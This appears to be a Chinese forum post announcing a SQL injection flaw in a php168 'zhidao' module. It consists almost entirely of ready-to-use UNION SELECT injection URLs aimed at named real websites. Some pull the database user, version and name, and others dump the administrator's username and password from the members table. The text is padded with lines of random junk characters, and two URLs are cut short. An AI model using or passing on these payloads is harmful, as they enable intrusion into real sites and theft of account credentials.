php168某系统注入漏洞

admin

http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
; e. Y) H( u! t, K$ q2 ?- L                                                         
                                       
0 D3 k. \! w  f8 [  x
% C/ c: p2 z9 ^, u- o: J$ mhttp://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
- I; J% Z, w9 \2 ?                                                     
                                                                  
- j5 |0 Y9 _% T                                                        
http://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
1 o  t- Y/ b0 X) K4 h! \( Q
5 R5 k4 W9 v& j1 B5 a
/ T' r' r1 C- p+ x: Y: F5 m
! R- u8 {& }+ F                                                            
3 `- F) M- O% i8 P0 g
3 G4 c& M: a& B2 H( O: u$ xhttp://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
5 i  ^( V- K# O" f5 h2 u- W